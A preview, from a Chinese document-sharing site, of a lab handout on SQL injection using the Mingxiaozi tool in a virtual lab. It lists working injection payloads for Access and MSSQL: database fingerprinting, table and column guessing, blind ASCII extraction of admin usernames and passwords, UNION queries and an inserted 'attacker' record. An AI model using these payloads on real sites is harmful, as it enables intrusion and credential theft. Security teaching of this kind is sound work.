L003001013-HTTP攻擊與防范-SQL注入攻擊-03明小子工具實例_第1頁
L003001013-HTTP攻擊與防范-SQL注入攻擊-03明小子工具實例_第2頁
L003001013-HTTP攻擊與防范-SQL注入攻擊-03明小子工具實例_第3頁
L003001013-HTTP攻擊與防范-SQL注入攻擊-03明小子工具實例_第4頁
L003001013-HTTP攻擊與防范-SQL注入攻擊-03明小子工具實例_第5頁
已閱讀5頁,還剩16頁未讀, 繼續(xù)免費閱讀

下載本文檔

版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進(jìn)行舉報或認(rèn)領(lǐng)

文檔簡介

1、課程編寫類別內(nèi)容實驗課題名稱HTTP攻擊與防范-SQL注入攻擊-03明小子工具實例實驗?zāi)康呐c要求1、了解常用web 腳本2、了解常用web 腳本漏洞的利用點實驗環(huán)境VPC1(虛擬PC)操作系統(tǒng)類型:windows,網(wǎng)絡(luò)接口:本地連接VPC1 連接要求PC 網(wǎng)絡(luò)接口,本地連接與實驗網(wǎng)絡(luò)直連軟件描述1、學(xué)生機(jī)要求安裝java環(huán)境2、vpc安裝windows 2003實驗環(huán)境描述1、學(xué)生機(jī)與實驗室網(wǎng)絡(luò)直連;2、VPC1與實驗室網(wǎng)絡(luò)直連;3、學(xué)生機(jī)與VPC1物理鏈路連通;預(yù)備知識1、類型:數(shù)字型:and 1=1 and 1=2 判斷是否存在注入字符型:' and '1'=

2、9;1 ' and '1'='2搜索型: 關(guān)鍵字%' and 1=1 and '%'='% 關(guān)鍵字%' and 1=2 and '%'='%2、IIS報錯情況下使用:and user>0 (判斷是ACCESS還是MSSQL)不報錯則使用各自數(shù)據(jù)庫特性來判斷and (select count(*) from msysobjects)>0 (返回權(quán)限不足access數(shù)據(jù)庫)and (select count(*) from sysobjects)>0 (返回正常則為MSSQL數(shù)據(jù)庫)a

3、nd db_name()>0 (返回數(shù)據(jù)庫名)and 0<>(select version)- (判斷版本信息)and db_name()>0 (返回數(shù)據(jù)庫名)*注意:猜解之前先要找到后臺地址,不然白忙了*3、ACCESS注入:猜解表名(正常則存在admin,不正常則不存在)and exists (select * from admin)and (Select Count(*) from Admin)>0猜解字段:(字段username存在則正常,不正常則不存在)and (Select username from Admin)>0and exists (se

4、lect username from admin)猜解用戶名和密碼長度and (select top 1 len(username) from Admin)>0and (select top 1 len(password) from Admin)>04、原理:如果top 1的username長度大于0,則條件成立;接著就是>1、>2、>3這樣測試下去,一直到條件不成立為止,比如>4成立,>5不成立,就是len(username)=5,即用戶名長度為5.得到username的長度后,用mid(username,N,1)截取第N位字符,再asc(mid(u

5、sername,N,1)得到ASCII碼.猜解用戶and (select top 1 asc(mid(username,1,1) from Admin)>0,1,2,當(dāng)輸入到109時,顯示錯誤,而108之前顯示正確,說明第一個字符的ASCII碼為109,得到第一個字符是m。同理and (select top 1 asc(mid(username,2,1) from Admin)>0,1,2到114的時候不成立,說明第二個字符的ASCII碼值為114,字符為r。注意的是英文和數(shù)字的ASCII碼在1-128之間.MSSQL注入:having 1=1- 【爆出一個表名及字段,如:列 &#

6、39;users.ID' 在選擇列表中無效】group by users.ID having 1=1-group by users.ID, users.username, users.password, users.privs having 1=1-; insert into users values( 666, attacker, foobar, 0xffff )- 【插入新記錄】猜解表名:SQL SERVER的每一個數(shù)據(jù)庫都會有用戶表和系統(tǒng)表,在系統(tǒng)表sysobjects中, 數(shù)據(jù)庫內(nèi)創(chuàng)建的每個對象(約束、默認(rèn)值、日志、規(guī)則、存儲過程等)在sysobjects表中占一行,那么也就是

7、說當(dāng)前數(shù)據(jù)庫的表名都會在該表內(nèi)有存在。我們常用到的參數(shù)有三個,name (數(shù)據(jù)表的名字),xtype( 數(shù)據(jù)表的類型 u為用戶表),id( 數(shù)據(jù)表的對象標(biāo)志)。and (select top 1 name from sysobjects where xtype='u')>0 (得到第一個表名:比如user)and (select top 1 name from sysobjects where xtype='u' and name not in ('user')>0 得到第二個表名,后面的以此類推。猜解列名:用到系統(tǒng)自帶的2個函數(shù)co

8、l_name()和object_id(),col_name()的格式是“COL_NAME( table_id , column_id )”,參數(shù)table_id是表的標(biāo)識號,column_id是列的標(biāo)識號,object_id(admin)就是得到admin在sysobjects 中的標(biāo)識號,column_id=1,2,3表明admin的第1,2,3列。and (select top 1 col_name(object_id('admin'),1) from sysobjects)>0 【得到admin字段的第一個列名“username”依次類推,得到“password”“

9、id”等等】猜解字段內(nèi)容:and (select top 1 username from admin)>0 【直接得到用戶名】and (select top 1 password from admin)>0 【直接得到密碼】UNION聯(lián)合查詢:select name,password,id from user union select user,pwd,uid from 表名and 1=1 union select 1,2,3,4,5. from 表名 (數(shù)值從1開始慢慢加,如果加到5返回正常,那就存在5個字段)5、ASCII逐字解碼法:1、猜解列長度and (select top

10、 1 len(列名)from 表名)>N其中N是數(shù)字,變換這個N的值猜解列長度,當(dāng)N為6正確,為7錯誤,則長度為7猜解第二條記錄就該使用:select top 1 len(列名) from 表名 where 列名 not in (select top 1 列名 from 表名)2、猜解用戶和密碼ASC()函數(shù)和Mid函數(shù),ASC(mid(列名,N,1)得到“列名”第N位字符ASCII碼猜解語句為:and (select top 1 asc(mid(字段,1,1) from 數(shù)據(jù)庫名)>ASCII碼區(qū)間判斷語句:.between.and.中文處理法:當(dāng)ASCII轉(zhuǎn)換后為“負(fù)數(shù)”使用a

11、bs()函數(shù)取絕對值。例:and (select top 1 abs(asc(mid(字段,1,1) from 數(shù)據(jù)庫名)=ASC碼ASCII逐字解碼法的應(yīng)用:1、猜解表名:and (select count(*) from admin)<>02、猜解列名:and (select count(列名) from 表名)<>03、猜解用戶個數(shù):and (select count(*) from 表名)>1,2. 2正常,3錯誤,表中有3條記錄。4、猜解用戶名的長度:and (select len(列名) from 表名)>=1、>=2、>=3、>

12、;=4。5、猜解用戶名:and (select count(*)from 表名 where (asc(mid(列名,1,1) between 30 and 130)<>0最后提交:and (select asc(mid(列名,1,1) from 表名)=ascii的值6、猜解管理員的密碼:按照上面的原理,把上面的語句中(asc(mid(列名,1,1)的列名換成PASSWORD就能得到密碼了。實驗內(nèi)容1、 掌握SQL注入基本手段2、 了解WEB站點的脆弱性3、 修復(fù)存在SQL注入可能的漏洞實驗步驟l 實驗操作1、 學(xué)生單擊實驗拓?fù)浒粹o,進(jìn)入實驗場景,(第一次啟動目標(biāo)主機(jī),還需要安裝j

13、ava控件)。,2、 學(xué)生輸入賬號administrator,密碼123456,登錄到實驗場景中的目標(biāo)主機(jī)。如圖所示:3、 打開IE瀏覽器,登錄網(wǎng)站。如圖所示:4、 打開d:tools文件夾中的明小子4.0壓縮包,點擊明小子4.0文件進(jìn)入后,雙擊domain4.0.exe。如圖所示:5、雙擊domian4.0.exe6、點擊關(guān)閉7、 在當(dāng)前路徑中輸入,并點擊連接。如圖所示:注意 注入點區(qū)域,您可以發(fā)現(xiàn)SQL注入點。8、右鍵“注入點”中的紅色網(wǎng)址。9、 點擊檢測注入,進(jìn)入如圖所示頁面,點擊開始檢測。10、點擊“猜解表名”11、獲得數(shù)據(jù)庫admin,選中admin,點擊猜解列名。12、勾選上username、

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時也不承擔(dān)用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

評論

0/150

提交評論